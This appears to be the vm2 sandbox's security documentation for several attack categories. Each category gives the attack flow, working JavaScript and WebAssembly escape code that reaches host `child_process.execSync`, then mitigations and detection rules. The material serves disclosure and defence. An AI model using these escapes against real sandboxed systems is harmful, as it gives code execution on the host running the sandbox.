• Error.cause -- set by user code (not V8 internals), so ensureThis handles it; but worth noting as a potential carrier of host references.

Attack Category 16: SuppressedError via Explicit Resource Management Copy Chapter

Advisories: GHSA-55hx-c926-fr95, GHSA-35vh-489p-v7cx (dup of GHSA-55hx-c926-fr95)

Tests: test/ghsa/GHSA-55hx-c926-fr95/ (repro.js, structural-leak.js, structural-leak-variants.js), test/vm.js ("SuppressedError escape via DisposableStack"), test/vm.js ("SuppressedError escape via using declaration"), test/vm.js ("SuppressedError escape via AsyncDisposableStack"), test/vm.js ("SuppressedError escape via async rejection path"), test/vm.js ("SuppressedError escape via deeply nested DisposableStack"), test/vm.js ("Promise.prototype.then/catch callback sanitization bypass")

Uses: Category 4: Error Object Exploitation, Category 12: Code Transformation Bypass

Description Copy Section

The Explicit Resource Management proposal (ES2024) introduces DisposableStack, AsyncDisposableStack, and the using declaration. When multiple errors occur during resource disposal, V8 wraps them in a SuppressedError with .error and .suppressed properties. These properties can contain host-realm errors that bypass bridge sanitization.

Attack Flow Copy Section

1. Create a disposable resource whose Symbol.dispose method triggers the Error Generation Primitive (e.name = Symbol(); e.stack), producing a host TypeError.
2. Use a using declaration or DisposableStack.defer() so that disposal happens automatically.
3. Arrange for a second error (e.g., throw null) so V8 wraps both in a SuppressedError.
4. Catch the SuppressedError -- its .error or .suppressed contains the unsanitized host TypeError.
5. Traverse .error.constructor.constructor to reach host Function.

Canonical Examples Copy Section

// DisposableStack attack
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  // e.suppressed is the host TypeError (unsanitized)
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  process.mainModule.require("child_process").execSync("...");
}

// 'using' declaration attack (bypasses transformer -- ecmaVersion 2022)
obj = {[Symbol.dispose]() {
    const e = new Error();
    e.name = Symbol();
    return e.stack;
}};
try {
    eval("{using a = obj;throw null;}");
} catch(e) {
    e.error.constructor.constructor("return process")()
      .mainModule.require('child_process').execSync('...');
}

// AsyncDisposableStack attack
const ds = new AsyncDisposableStack();
ds.defer(async () => { throw null; });
ds.defer(async () => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  await ds.disposeAsync();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  Function("return process")().mainModule.require("child_process").execSync("...");
}

• Deeply nested DisposableStack chain, so the SuppressedError carrier is produced several disposal frames down: see test/vm.js ("SuppressedError escape via deeply nested DisposableStack").
• Async rejection path: the SuppressedError is delivered to a .catch callback rather than a catch clause: see test/vm.js ("SuppressedError escape via async rejection path").
• Host-realm Promise delivery, where the rejection value never passes the sandbox-side then / catch override: see test/ghsa/GHSA-55hx-c926-fr95/structural-leak.js and structural-leak-variants.js.

Why It Works Copy Section

V8 creates SuppressedError instances using the sandbox context's intrinsic constructor during resource disposal. The resulting object is a sandbox object, so ensureThis returns it as-is. However, the .error and .suppressed properties are set by V8's internal code and may contain host-realm errors. Since these properties are accessed as regular property reads on a sandbox object (not through a bridge proxy), the host errors are returned without sanitization.

The using declaration bypasses the transformer because Acorn's ecmaVersion: 2022 does not parse ES2024 syntax -- the implicit catch semantics of using are invisible to instrumentation.

Note: Error.cause (ES2022) is a related concern that was assumed safe because the bridge get trap wraps property reads. It is not: the wrap is functional, so the sandbox can pivot through e.cause.mainModule.require(...) even after wrapping. See Category 38 for the full analysis and the chokepoint extension in handleException that strips .cause from host-wrapped carriers.

Mitigation Copy Section

Three layers, structurally:

1. handleException recursion: detects SuppressedError / AggregateError instances by prototype check and recursively sanitizes .error / .suppressed / .errors[] via ensureThis. SuppressedError is also added to errorsList in bridge.js. Cycle detection via WeakMap prevents infinite recursion.
2. Sandbox-side Promise.prototype.then / .catch overrides route every callback through handleException for sandbox-realm promises (wrappedPromiseThen / wrappedPromiseCatch / wrappedPromiseFinally, installed on globalPromise.prototype via localReflectDefineProperty in setup-sandbox.js).
3. Bridge-level host-Promise interception (GHSA-55hx supplementary fix): when sandbox code invokes a host-realm Promise.prototype.then / .catch / .finally (for example, via an embedder-exposed async () => {} whose returned promise is host-realm), the bridge apply trap recognizes the call (identity check against cached otherGlobalPrototypes.Promise methods) and wraps each sandbox-supplied callback with a sanitizing closure that pipes its argument through handleException (rejection) or ensureThis (fulfillment) before the user code runs. This closes the structural class where host machinery (PromiseReactionJob / PromiseResolveThenableJob) schedules sandbox callbacks against raw host rejection values, bypassing the sandbox-side override entirely. Setup is one-shot via bridge.setHostPromiseSanitizers(handleException, ensureThis) from setup-sandbox.js.

Detection Rules Copy Section

• new DisposableStack() or new AsyncDisposableStack() with defer().
• using declarations in eval() -- triggers Symbol.dispose on scope exit.
• await using declarations -- triggers Symbol.asyncDispose.
• e.suppressed.constructor or e.error.constructor in catch blocks.
• SuppressedError combined with e.name = Symbol().
• Host-realm async function exposed via {sandbox: {f: async () => {}}} chained with .finally / .catch to deliver SuppressedError -- now sanitized at the bridge boundary.

Attack Category 17: WebAssembly JSTag Exception Catch Copy Chapter

Advisories: none

Tests: test/vm.js ("WebAssembly.JSTag escape via wasm exception handling"), test/vm.js ("WebAssembly.JSTag is not accessible in sandbox")

Uses: Category 4: Error Object Exploitation, Category 12: Code Transformation Bypass

Description Copy Section

WebAssembly.JSTag (present on Node 22 and later; absent on Node 20 and earlier) is a special tag that allows WebAssembly exception handling (try_table/catch) to catch JavaScript exceptions thrown during imported function calls. Since the transformer only instruments JavaScript catch clauses, exceptions caught in WebAssembly completely bypass handleException() sanitization.

Attack Flow Copy Section

1. Error setup: err.name = Symbol() causes err.stack to throw a host TypeError (Error Generation Primitive).
2. Wasm module creation: A WebAssembly module imports a trigger function that accesses err.stack and WebAssembly.JSTag as a tag for catching JS exceptions.
3. Wasm exception catch: The module's exported function uses try_table/catch with JSTag. When trigger() throws the host TypeError, wasm catches it and returns the exception value as an externref.
4. Bypass: The transformer only instruments JavaScript catch blocks. Wasm exception handling is a separate mechanism -- the transformer has zero visibility into wasm bytecode. The caught host error is returned raw and unsanitized.
5. Escape: hostError.constructor.constructor("return process")() -> RCE.

Canonical Examples Copy Section

const err = new Error("x");
err.name = Symbol();

const wasm = new Uint8Array([
    0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,
    0x01,0x0c,0x03,0x60,0x00,0x00,0x60,0x00,0x01,0x6f,0x60,0x01,0x6f,0x00,
    0x02,0x19,0x02,
    0x03,0x65,0x6e,0x76,0x07,0x74,0x72,0x69,0x67,0x67,0x65,0x72,0x00,0x00,
    0x02,0x6a,0x73,0x03,0x74,0x61,0x67,0x04,0x00,0x02,
    0x03,0x02,0x01,0x01,
    0x07,0x0f,0x01,
    0x0b,0x63,0x61,0x74,0x63,0x68,0x5f,0x65,0x72,0x72,0x6f,0x72,0x00,0x01,
    0x0a,0x12,0x01,0x10,0x00,
    0x02,0x6f,0x1f,0x40,0x01,0x00,0x00,0x00,0x10,0x00,0x00,0x0b,0x00,0x0b,0x0b
]);

const instance = new WebAssembly.Instance(
    new WebAssembly.Module(wasm),
    { env: { trigger() { err.stack; } }, js: { tag: WebAssembly.JSTag } }
);

const hostError = instance.exports.catch_error();
const p = hostError.constructor.constructor("return process")();
p.mainModule.require('child_process').execSync('...');

Why It Works Copy Section

The entire exception sanitization strategy is built on instrumenting JavaScript catch clauses via the transformer. WebAssembly introduces a parallel exception-catching mechanism that operates at the bytecode level, completely outside the transformer's scope. Without JSTag, wasm can only catch custom wasm exceptions (not JS exceptions), and catch_all does not expose the exception value.

Mitigation Copy Section

WebAssembly.JSTag is deleted from the sandbox at initialization in setup-sandbox.js. Without JSTag, wasm code cannot catch JavaScript exceptions -- catch_all provides no value access, and catch_all_ref requires JSTag for exn.extract. The tag is a V8 internal and cannot be reconstructed by user code.

Detection Rules Copy Section

• WebAssembly.JSTag -- accessing the JS exception tag.
• WebAssembly.Instance with import objects containing tag: properties.
• Wasm modules with try_table/catch instructions.
• Combination of wasm exception handling + Error Generation Primitive.
• instance.exports.* returning externref values.

Attack Category 38: `Error.cause` Host Reference Leak to Sandbox Copy Chapter

Advisories: GHSA-m283-3h24-438v

Tests: test/ghsa/GHSA-m283-3h24-438v/ (repro.js)

Uses: Category 4: Error Object Exploitation, Category 16: SuppressedError via Explicit Resource Management

Description Copy Section

ES2022 added Error.cause, a free-form property carrying an arbitrary object reference describing the underlying reason for an error (new Error('wrap', { cause: original })). When an embedder-exposed host helper throws an Error with .cause set to a powerful host reference (canonically process, but anything reachable from the embedder's closure qualifies — require('child_process'), a host Module instance, an internal config containing keys), the host Error crosses the bridge via thisFromOtherForThrow and reaches the sandbox catch block as a bridge proxy.

The bridge get trap wraps .cause on read — the resulting proxy passes isProxy === true — but the wrap is functional. The bridge's design goal is realm isolation, not capability restriction: sandbox code can chain e.cause.mainModule.require('child_process').execSync(...) through proxy apply traps and reach host RCE. The proxy hands off arguments and return values through the bridge correctly; it does not block the embedder-exposed function from being called.

The embedder almost never intends .cause to expose live host references. Error chaining is idiomatic in modern Node — try { x() } catch (e) { throw new Error('wrap', { cause: e }) } — and the chained e is frequently a Node-internal error whose own internal fields point at process, Module, or other powerful host objects. CVE class is sandbox escape via an under-audited ES2022 channel.

CVSS 3.1: 9.9 / Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). CWE-693 (Protection Mechanism Failure).

Attack Flow Copy Section

1. Embedder exposes a host function via sandbox: { hostFn: () => { throw new Error('msg', { cause: process }) } }. The cause may be set by the embedder directly or by Node-internal error chaining the embedder wraps.
2. Sandbox calls the function; host throws.
3. thisFromOtherForThrow wraps the host Error as a bridge proxy. The proxy's underlying object is the raw host Error.
4. Sandbox catch block reads e.cause. The proxy get trap fetches the host .cause (process) and wraps it through thisFromOther, returning a bridge proxy of process to sandbox code.
5. Sandbox code drives the wrapped process through proxy get / apply traps: e.cause.mainModule.require('child_process').execSync('...'). Each step routes through host realm; execSync runs with host privileges.

Canonical Examples Copy Section

/* Detailed source-code truncated for AI context efficiency. */

• Arbitrary own property on a host error (err.detail = process, err.originalError = require('child_process')): see test/ghsa/GHSA-m283-3h24-438v/repro.js.
• Own-property TOCTOU accessor on a non-spec key: see test/ghsa/GHSA-m283-3h24-438v/repro.js.
• Prototype-inherited host reference (Object.setPrototypeOf(err, {leak: process})), including two levels up, an accessor on the prototype, and a symbol-keyed inherited property: see test/ghsa/GHSA-m283-3h24-438v/repro.js.
• Lying Proxy carrier that hides its own keys, and an own isProxy: false claiming to be sandbox-realm: see test/ghsa/GHSA-m283-3h24-438v/repro.js.

Why It Works Copy Section

The bridge invariant "No host-realm object reaches sandbox code unwrapped" (Defense Invariant #1) was satisfied — .cause returned a bridge proxy. But the related invariant "All caught exceptions are sanitized" (Defense Invariant #2) and especially #3 (cross-realm error containers are recursively sanitized) had a documented gap: the handleException chokepoint only recursed into SuppressedError.{error,suppressed} and AggregateError.errors[]. .cause was the third ES2022 / 2024 error-chain channel and went unaudited.

A second misconception in the prior architecture: wrapping a host reference is sufficient to neutralize it. For sandbox-exposed values (sandbox: { someConfig }), this is true by intent — the embedder explicitly granted access. For .cause, the embedder did not. The wrap therefore must be supplemented by stripping the property entirely from host-realm carriers.

Mitigation Copy Section

Centralize in handleException (the existing exception chokepoint). The new helper sanitizeErrorCause runs before the SuppressedError / AggregateError proto walk, so SuppressedError / AggregateError carriers also get their .cause stripped, and the recursive walks pick up .cause on every sub-error.

Two branches by carrier realm:

1. Host-wrapped carrier (e.isProxy === true) — overwrite host-side .cause with undefined via localReflectDefineProperty using a sealed descriptor (writable: false, configurable: false). This routes through the proxy defineProperty trap to otherReflectDefineProperty and pins a fresh data property on the underlying host Error. The non-configurable + non-writable choice is load-bearing: it weaponizes two ECMA-262 Proxy invariants against attacker-controlled host carriers:

   • §10.5.6 ProxyDefineOwnProperty: if Desc.[[Configurable]] is false and the target's existing descriptor is configurable, the engine throws regardless of the trap's return value. A lying defineProperty trap (e.g., new Proxy(realErr, { defineProperty: () => true })) cannot pretend success without actually modifying the target — the engine catches the invariant violation and the fallback substitution fires.

   • §10.5.8 ProxyGet: once the property is non-configurable and non-writable, the trap MUST return SameValue(target.value). A get trap that lies about the value triggers TypeError. So subsequent sandbox reads of .cause either return undefined or throw — both safe.

2. Strip fails (engine threw on invariant violation, host property is sealed non-configurable, or any other failure) — the carrier itself is unsafe, so a fresh sandbox-realm Error is substituted, preserving only the textual .message. Sandbox catch code sees a different error type but no pivot reference.

3. Sandbox-realm carrier — recursively sanitize: read e.cause once, recurse via handleException, then re-install the sanitized value as a data property to defeat sandbox-side accessor .cause definitions. Cycle detection via the existing visited WeakMap prevents infinite recursion on a.cause = b; b.cause = a.

For SuppressedError and AggregateError carriers, the same TOCTOU class applies to .error, .suppressed, and .errors[] slots. The original recursive pattern was e.error = handleException(e.error, visited) — a single read invoked the host getter (returning a benign value that recursed harmlessly), and the assignment back silently no-op'd against a getter-only accessor. The accessor remained live; the next sandbox read returned a host reference.

The fix on host-wrapped carriers snapshots sub-errors via a single read each, sanitizes them, and constructs a fresh sandbox-realm replacement of the same type (new LocalSuppressedError(...) / new LocalAggregateError(...)). The original carrier — which may have any number of attacker-controlled accessors — is dropped entirely. Sandbox receives a stable sandbox-realm carrier whose sub-error slots are plain data properties on the new instance, immune to host-side TOCTOU.

For arbitrary own properties on host-wrapped error carriers (err.detail = process, err.originalError = require('child_process'), etc.), the spec-defined-slot fixes above do not generalize. Node libraries routinely attach host references via custom property names as part of error-chaining conventions, and any such property reaches sandbox as a functional bridge proxy — same escape primitive as the original .cause channel. sanitizeHostOwnProps runs on every host-wrapped non-Suppressed/non-Aggregate carrier reaching handleException, enumerates own keys via Reflect.ownKeys, and seals each property with the same non-configurable + non-writable descriptor used for .cause: primitive values are locked to the first-read primitive (preserves message/stack/name/code/errno/syscall/path and any other diagnostic primitive), non-primitives are replaced with undefined. The ECMA-262 §10.5.6 invariant catches lying-Proxy carriers on every key; the §10.5.8 invariant locks subsequent reads to the sealed value. Seal failure substitutes the carrier with a fresh sandbox-realm Error preserving the captured message.

For prototype-inherited host references, own-key sealing is structurally insufficient. Reflect.ownKeys does not report inherited properties, so a host carrier whose prototype was replaced — Object.setPrototypeOf(hostErr, { leak: process }) — passed through sanitizeHostOwnProps untouched, and e.leak still resolved to a live bridge proxy: e.leak.mainModule.require('child_process').execSync(...) is full RCE, and e.leak.pid / e.leak.env are host information disclosure on their own.

The enumeration cannot simply be widened to walk the chain: the chain is attacker-shaped, arbitrarily deep, and each link may itself be a lying Proxy, so any walk is a TOCTOU surface rather than a fix. Instead the carrier is rebuilt in the sandbox realm. sanitizeHostOwnProps constructs a fresh sandbox-realm error and copies across only the primitive own properties it has already sealed (message through the constructor, plus name / stack / code / errno / syscall / path and any other primitive the host attached). The host prototype chain is discarded wholesale, so the returned object is structurally incapable of referencing the host realm — no enumeration, and therefore no enumeration gap. This is the same snapshot-and-rebuild strategy already applied to SuppressedError / AggregateError carriers, generalized to every host-wrapped carrier.

Two details in the rebuild are load-bearing:

• The error constructors are captured at module load (LocalTypeError, LocalRangeError, LocalReferenceError, LocalSyntaxError, LocalEvalError, LocalURIError), beside LocalError and for the same reason localStringStartsWith is captured for Category 8. The rebuild runs at exception-handling time, long after guest code has executed; reading the mutable sandbox globals there would let RangeError = function () { ... } from inside the sandbox execute attacker code inside the sanitizer and dictate the value it returns — reintroducing the very escape the helper exists to prevent. See Defense Invariant #6.

• The subclass is resolved from the carrier's name string, not instanceof. A host-wrapped carrier's prototype chain terminates at the host RangeError.prototype, never the sandbox's, so instanceof against a sandbox constructor is false for every host error and the subclass would silently collapse to plain Error. Name matching is also prefix-based, because Node ≤ 11 reports internal errors as "RangeError [ERR_INVALID_OPT_VALUE]"; an exact comparison degrades every Node-internal error to plain Error on those runtimes. name is attacker-controllable, but the only thing it can influence is which of six benign sandbox-realm constructors is used.

The fix restores Defense Invariant #3 at the right chokepoint: Error.cause joins SuppressedError.{error,suppressed} and AggregateError.errors[] as a recognized sub-error channel, and all four channels are now defended against the same TOCTOU / lying-Proxy class. The published wording of Invariant #3 was already aspirationally correct — this fix makes the implementation match. The carrier rebuild extends that guarantee from enumerated channels to the whole object graph reachable from a host carrier.

Detection Rules Copy Section

• { cause: process } / { cause: require('...') } in any host-exposed throw site — direct leak of a powerful host reference through the ES2022 channel.
• throw new Error('msg', { cause: e }) in embedder code that wraps caught Node-internal errors — Node-internal errors carry references to Module, process, internal config; chaining them propagates the leak.
• Object.defineProperty(err, 'cause', { ... }) in host code — both the non-configurable and accessor variants are bypass primitives if the fix is naive (delete-only).
• e.cause.X.Y(...) pattern in sandbox code — pivot chain through proxy-wrapped .cause.
• e.error.cause.X / e.errors[i].cause.X patterns — pivot chains through SuppressedError / AggregateError sub-errors carrying their own .cause.
• Object.setPrototypeOf(err, { ... }) on any host error before it crosses the bridge — moves the payload out of own-key range; the reference is reachable in sandbox as an ordinary inherited property (e.leak), including via accessors and symbol keys.
• e.<anyKey>.mainModule / .env / .pid in sandbox code where <anyKey> is not a spec-defined error slot — pivot through an arbitrary own or inherited carrier property.

Considered Variants Copy Section

• Arbitrary .foo = process on host-wrapped errors — now covered by sanitizeHostOwnProps. Originally argued out of scope on the assumption that embedders setting arbitrary properties were exposing references intentionally; in practice, Node-internal error chaining and library wrappers routinely attach host references to custom property names (err.detail, err.originalError, err.context, etc.) without considering the sandbox trust boundary. The own-property enumeration covers all string and symbol keys uniformly; primitive diagnostic info survives, non-primitive host references are stripped.
• .cause set by V8 internals — not currently a known path. If a future Node version starts populating .cause on internal errors with host references (analogous to how SuppressedError carries them), the fix already covers it because the recursion runs on every error reaching handleException.
• Read via Reflect.get(err, 'cause') from a host-side script the sandbox can invoke — same path through the proxy get trap; same defense. Reflect identity is captured at init time (Defense Invariant #8), so sandbox cannot substitute a host Reflect.

Attack Category 39: Host-Promise Rejection Sanitizer Bypass via `call`/`apply` Indirection Copy Chapter

Advisories: GHSA-647f-g98j-qq25

Tests: test/ghsa/GHSA-647f-g98j-qq25/ (repro.js)

Uses: Category 38: Error.cause Host Reference Leak to Sandbox

Supersedes: closes the delivery gap in the Category 38 fix. The handleException-based rebuild in Category 38 only runs when the bridge's host-Promise sanitizer actually wraps the sandbox callback; this category is the invocation path where that wrap was skipped. Structurally identical in shape to Category 37: Stacked Indirection Bypass of Host Prototype Mutator Peel — a direct-target-only identity check at the apply trap, defeated by Function.prototype.call/.apply indirection.

Description Copy Section

The Category 38 fix rebuilds capability-bearing host rejection values as fresh sandbox-realm errors (stripping own properties such as err.detail = process, the host prototype, and the Error.cause/SuppressedError/AggregateError side-channels) before a sandbox onRejected callback runs. That rebuild is delivered by the bridge apply trap: when the sandbox calls .then / .catch on a host Promise, the trap wraps the sandbox-supplied callbacks so their argument flows through hostPromiseSanitizeReject (handleException(from(e))) first.

The gate identity-checked only the direct apply target — isHostPromiseThen(object) / isHostPromiseCatch(object). The sandbox's Function.prototype.call / .apply are connect()ed to the host's, so registering the handler through indirection (p.then.call(p, undefined, cb), p.then.apply(p, [undefined, cb]), stacked p.then.call.call(...), and mixed call/apply nestings) makes the apply-trap target host Function.prototype.call/.apply — not then/catch. The gate misses, no callback is wrapped, and the raw host rejection reaches the sandbox onRejected as a functional bridge proxy. A rejection whose own property references a host object then pivots to RCE: e.detail.mainModule.require('child_process').execSync(...).

Only call/apply indirection is affected. Sandbox Reflect.apply(p.then, …) and p.then.bind(p, …)() re-enter the apply trap with the direct target already resolved to host then/catch, so they were always covered.

CVSS 3.1: 10.0 / Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). CWE-94 (Code Injection), CWE-693 (Protection Mechanism Failure).

Attack Flow Copy Section

1. Embedder exposes an async host helper — sandbox: { fetchUser: async () => { const e = new Error('x'); e.detail = process; throw e; } } — or a NodeVM external module's async method. The returned host Promise crosses the bridge as a proxy.
2. Sandbox obtains the host-Promise proxy p and registers onRejected through call/apply indirection: p.then.call(p, undefined, cb).
3. The apply trap fires with object = host Function.prototype.call, context = the host then, args = [p, undefined, cb]. The direct-target check isHostPromiseThen(object) is false → callbacks not wrapped.
4. Host Promise machinery (PromiseReactionJob) runs cb with the raw host rejection value in a microtask after run() returns.
5. cb reads e.detail — a functional bridge proxy of host process — and drives e.detail.mainModule.require('child_process').execSync(...) to host RCE.

Canonical Examples Copy Section

const vm = new VM({ sandbox: {
    fetchUser: async () => { const err = new Error('db'); err.detail = process; throw err; },
}});
vm.run(`
    const p = fetchUser();
    p.then.call(p, undefined, (e) => {                 // .call indirection skips the sanitizer
        e.detail.mainModule.require('child_process').execSync('id');
    });
`);
// Equivalent bypasses: p.then.apply(p, [undefined, cb]);
//                      p.then.call.call(p.then, p, undefined, cb);   (stacked)
//                      p.then.apply.call(p.then, p, [undefined, cb]);(mixed)
//                      p.catch.call(p, cb);  p.catch.apply(p, [cb]);

Mitigation Copy Section

The direct-target-only gate is replaced by normalizeHostPromiseCallbacks in the lib/bridge.js apply trap. Because the apply trap is the single chokepoint every sandbox-initiated host-function call passes through, indirection only repacks (object, context, args) — the trap can reconstruct the effective call:

• Peel call/apply in a bounded loop. Host Function.prototype.call/.apply are cached individually (otherFunctionCall/otherFunctionApply) — they must be distinguished because their argument shapes differ (call(this, ...args) keeps the callbacks in the same list, shifted; apply(this, argsArray) nests them one array deeper). Each iteration unwinds one layer via cached function identity (otherFromThis), never by reading an attacker getter (TOCTOU-safe).
• Wrap at the effective slots. When the peel resolves to host then (wrap onFulfilled + onRejected) or catch (wrap onRejected), the callbacks are wrapped through the same makeSanitizedPromiseCallback used for the direct call, so the Category 38 rebuild runs regardless of invocation shape.
• .apply nested arrays are snapshotted into fresh, trap-owned, getter-free storage (copyPromiseArgArray, length > 65535 bail) before the wrapped callbacks are written back, so the host machinery cannot observe a value different from the one vetted, and no raw sandbox object is mutated.
• Fail closed on depth. The peel loop is bounded (MAX_PROMISE_PEEL = 64); exceeding it throws VMError rather than forwarding a possibly-unwrapped callback. Legitimate code never stacks call/apply anywhere near that deep, and a silent bail would be fail-open.

This restores Defense Invariant #3 (host-realm error carriers reaching sandbox callbacks are sanitized) at the invocation layer rather than the direct-call-site layer — every sandbox callback bound to a host Promise's then/catch is now sanitized regardless of how then/catch was invoked. It mirrors Category 37's promotion of the v6mx proto-mutator peel from positional to mechanism-independent.

Detection Rules Copy Section

• Sandbox source invoking a host-Promise method through indirection: .then.call(, .then.apply(, .catch.call(, .catch.apply(, or stacked .call.call / .apply.call chains terminating at a host Promise's then/catch.
• A host onRejected/onFulfilled reached via such indirection reading a non-message own property of the received error (e.detail, e.originalError, e.context, …) and dereferencing it as an object/function.
• A call/apply chain on a bridged host method exceeding a small depth (deny-on-exceed is the tripwire).

Considered Attack Surfaces Copy Section

• bind / Reflect.apply / Reflect.construct — verified already-safe: bind re-enters the trap with the direct target when the bound function is called; sandbox Reflect.apply invokes the target directly (direct-gate wraps it); Reflect.construct(then) throws (Promise methods are not constructors). All asserted in test/ghsa/GHSA-647f-g98j-qq25/repro.js.
• Descriptor extraction — Object.getOwnPropertyDescriptor(proto, 'then').value then .call re-enters the apply trap and is normalized identically; on current Node it additionally trips the "incompatible receiver" brand check.
• Fulfillment values carrying host objects — a host function that resolves with { secret: process } yields a functional proxy on the fulfill path. This is unchanged, pre-existing, documented vm2 behavior (the bridge wraps host objects functionally, not capability-restricted) and identical on the direct p.then(cb) path — not in scope of this category, which concerns the rejection rebuild channel only.

Fix shape Copy Section

lib/bridge.js — normalizeHostPromiseCallbacks (+ helpers makeSanitizedPromiseCallback, copyPromiseArgArray, isHostFunctionCall/isHostFunctionApply, cached otherFunctionCall/otherFunctionApply). Node 8+ compatible (no post-ES2022 syntax). Tests: test/ghsa/GHSA-647f-g98j-qq25/repro.js (6 indirection vectors + 3 mixed/stacked siblings + 4 already-safe controls + 3 over-block guards).

Attack Category 48: Host Filesystem Path Leak via Host-Realm Error Stack Copy Chapter

Advisories: GHSA-v27g-jcqj-v8rw, GHSA-x6m4-chr9-cg97

Tests: test/ghsa/GHSA-v27g-jcqj-v8rw/ (repro.js), test/ghsa/GHSA-x6m4-chr9-cg97/ (repro.js, adversarial.js)

Uses: Category 4: Error Object Exploitation

Supersedes: completes the GHSA-v27g-jcqj-v8rw fix — defaultSandboxPrepareStackTrace and CallSite host-frame redaction, documented under Category 4: Error Object Exploitation. v27g redacts host frames only when the stack is formatted in the sandbox realm; this category is the residual where the stack was formatted host-side and crosses the bridge pre-formatted.

Description Copy Section

Error.prototype.stack is a lazily-computed, per-realm string. v27g installs defaultSandboxPrepareStackTrace and applyCallSiteGetters so that when the sandbox realm formats an Error's .stack, host frames (absolute paths, node: / internal/ pseudo-paths) are blanked and only sandbox frames + the message survive. That guarantee covers only sandbox-realm formatting.

A host-realm Error carries a .stack already formatted by the host (V8's default formatter, embedding absolute host paths, Node internals, and the embedding application's own source path). That string crosses the bridge to the sandbox verbatim — v27g's sandbox-realm formatter never runs on it. This is information disclosure (host filesystem layout, deployment path, vm2 install location); no code execution.

The config-free canonical trigger routes through vm2's own host-side transformer: sandbox eval("@@@ catch") (also new Function(…), GeneratorFunction/AsyncFunction constructors, multi-arg new Function) calls host.transformAndCheck, which throws a host-realm SyntaxError whose .stack names lib/transformer.js, lib/vm.js, lib/setup-sandbox.js, node:vm, and the embedder's files. But the primitive is general: any embedder-exposed host function that throws (sandbox: { f() { throw new Error() } }), and any host builtin that throws (Buffer.from(Symbol()), Buffer.alloc(-1)), delivers a host-formatted .stack the sandbox can read.

CVSS 3.1: 5.8 / Moderate (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N). CWE-209 (Information Exposure Through an Error Message), CWE-497 (Exposure of System Data).

Delivery paths (why one chokepoint is insufficient) Copy Section

A host error surfaces to the sandbox in one of two shapes, chosen by V8-lazy-stack timing and by whether the carrier has dangerous own-props:

1. Live bridge proxy — the sandbox reads e.stack (or Object.getOwnPropertyDescriptor(e,'stack').value, Reflect.get(e,'stack')) through the bridge get / getOwnPropertyDescriptor traps.
2. handleException rebuild (sanitizeHostOwnProps, GHSA-m283) — the carrier is rebuilt as a fresh sandbox-realm Error, and .stack is carried across as a primitive own property via v = e[k], which never crosses the bridge get trap. A bridge-only patch leaves this path leaking (demonstrated by pairing with the GHSA-cfcw prototype-severance repro: a Buffer.from(Symbol()) stack leaks with zero bridge fires).

Mitigation Copy Section

Three chokepoints, each dropping host frames from a host Error's .stack while preserving the message header and clean sandbox frames (a bare filename with no path separator, no URL scheme, no ..). All reuse a classifier mirroring v27g's isHostFrameFileName, extended to also treat file: / wasm: URL-scheme frames (ESM / WASM host frames) and ..-traversal relative paths as host:

1. lib/bridge.js — get + getOwnPropertyDescriptor traps (redactHostStack). Gated by isOtherErrorObject, which ORs the [[ErrorData]] brand (host Object.prototype.toString → "[object Error]", immune to prototype-chain severance) with a proto-walk to host Error.prototype (immune to Symbol.toStringTag spoofing) — so neither the GHSA-cfcw severance nor a tag override smuggles a host error's stack past redaction. Ordinary bridge-crossing objects (a non-Error host object with a stack string) are untouched — the embedder may legitimately expose such data. The descriptor trap must handle both V8 shapes: up to Node 20 stack is an own data property (redact desc.value), but from Node 22 (V8 12.x) it is an own accessor, and forwarding that getter would let Object.getOwnPropertyDescriptor(hostErr, 'stack').get.call(hostErr) (equally __lookupGetter__, Object.getOwnPropertyDescriptors) pull the raw host-formatted string through the apply trap. The accessor is therefore collapsed to a redacted data descriptor, and a throwing or non-string getter fails closed to no stack at all.
2. lib/setup-sandbox.js — sanitizeHostOwnProps (x6m4RedactHostFramesFromStack). Redacts the .stack primitive on the m283 rebuild path (delivery path 2), which the bridge cannot reach.
3. lib/vm.js — transformAndCheck (defense in depth). Every transformer/eval/Function compile error is sandbox-destined, so its whole frame section is truncated to the message header host-side, pre-bridge. Truncating the entire section (rather than line-filtering) makes the highest-frequency, config-free path immune to frame-format evasions (eval-origin nesting, exotic frame shapes) and to .stack-getter TOCTOU. Top-level VM.run / VMScript compile errors are destined for the host embedder and are deliberately untouched.

All redactors use module-load-cached String.prototype intrinsics and primitive string accumulation (no Array container, no sandbox-tamperable method reachable — Defense Invariant #11), are bounded against DoS, and fail closed. This restores the v27g guarantee (host frames redacted, sandbox frames + message preserved) independent of the realm that formatted the stack.

Detection Rules Copy Section

• Sandbox source reading .stack (or a stack descriptor) off a value caught from eval / new Function / a bridged host call.
• A stack string delivered to the sandbox containing an absolute path, node: / internal/ / file: / wasm: frame, a ..-traversal path, or a vm2 lib/*.js source path.

Considered Attack Surfaces Copy Section

• Error.captureStackTrace / custom Error.prepareStackTrace on a caught host error — cannot re-expose the origin: the caught value is either a bridge proxy (CallSite getters redacted by v27g) or an already-rebuilt sandbox error (host CallSites gone). Asserted in adversarial.js.
• Non-Error host object with a .stack string — out of scope: that is embedder-supplied data, not a V8-autopopulated error stack; isOtherErrorObject excludes it so legitimate data is never corrupted (same boundary as Category 38's "embedder intentionally exposes references").
• Relative host frames without .. (e.g. a host launched so frames read foo/bar.js) — extremely narrow; a sandbox VMScript filename with a separator would be over-redacted if the classifier keyed on separators, so the classifier stays keyed on absolute / scheme / .. markers to avoid dropping legitimate sandbox frames.

Fix shape Copy Section

lib/bridge.js (redactHostStack + isOtherErrorObject + isHostStackFrameFile), lib/setup-sandbox.js (x6m4RedactHostFramesFromStack in sanitizeHostOwnProps), lib/vm.js (redactTransformerErrorStack around transformAndCheck). Node 8+ compatible. Tests: test/ghsa/GHSA-x6m4-chr9-cg97/repro.js (8) + adversarial.js (9: Function-family, captureStackTrace/prepareStackTrace, toString, file://, .., host-builtin path-b).

